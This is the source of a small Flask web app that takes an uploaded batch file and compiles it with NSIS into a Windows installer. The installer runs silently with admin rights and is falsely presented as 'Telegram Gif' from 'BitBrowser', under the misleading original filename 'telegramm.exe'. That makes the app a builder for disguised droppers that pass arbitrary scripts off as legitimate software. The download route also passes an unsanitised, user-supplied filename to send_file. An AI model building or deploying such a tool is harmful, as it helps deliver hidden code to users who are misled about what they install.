from flask import Flask, request, send_file, render_template_string import os import subprocess app = Flask(__name__) UPLOAD_FOLDER = 'uploads' app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max upload size # HTML template for the index page HTML_TEMPLATE = """ NSIS Installer Creator

Upload Files to Create NSIS Installer



""" @app.route('/') def index(): return render_template_string(HTML_TEMPLATE) @app.route('/upload', methods=['POST']) def upload_files(): if 'bat_file' not in request.files: return "No file part", 400 bat_file = request.files['bat_file'] if bat_file.filename == '': return "No selected file", 400 # Define the path to save the uploaded file bat_filename = bat_file.filename bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_filename) # Ensure the upload directory exists if not os.path.exists(app.config['UPLOAD_FOLDER']): os.makedirs(app.config['UPLOAD_FOLDER']) # Save the uploaded file bat_file.save(bat_path) # Debugging: Print the saved file path print(f"Uploaded BAT file saved to: {bat_path}") # Construct the NSIS script using the provided path nsi_script = f"""!include "MUI2.nsh" # Define installer name and version Outfile "bont.exe" InstallDir "$PROGRAMDATA" # Set the name of the application Name "Telegram Gif" Caption "bont 1.4.44.3" VIProductVersion "1.4.44.3" # Set the output directory and the base name of the installer file SetCompressor /SOLID lzma RequestExecutionLevel admin # Silent install settings SilentInstall silent SilentUninstall silent # Application metadata VIAddVersionKey "ProductName" "Telegram Gif" VIAddVersionKey "FileVersion" "1.4.44.3" VIAddVersionKey "CompanyName" "BitBrowser" VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser" VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram." VIAddVersionKey "ProductVersion" "1.4.44.3" VIAddVersionKey "OriginalFilename" "telegramm.exe" # Define installer sections Section "Install" SetOutPath "$INSTDIR" # Files to install File "{bat_path}" SectionEnd """ nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi') with open(nsi_path, 'w') as nsi_file: nsi_file.write(nsi_script) # Debugging: Print the NSIS script path print(f"NSIS script written to: {nsi_path}") # Compile the NSIS script try: result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True) return f"Compilation successful! Download here: bont.exe", 200 except subprocess.CalledProcessError as e: return f"Compilation failed: {e.stderr}", 400 @app.route('/download/') def download_file(filename): return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True) if __name__ == '__main__': if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.run(host='0.0.0.0', port=7860)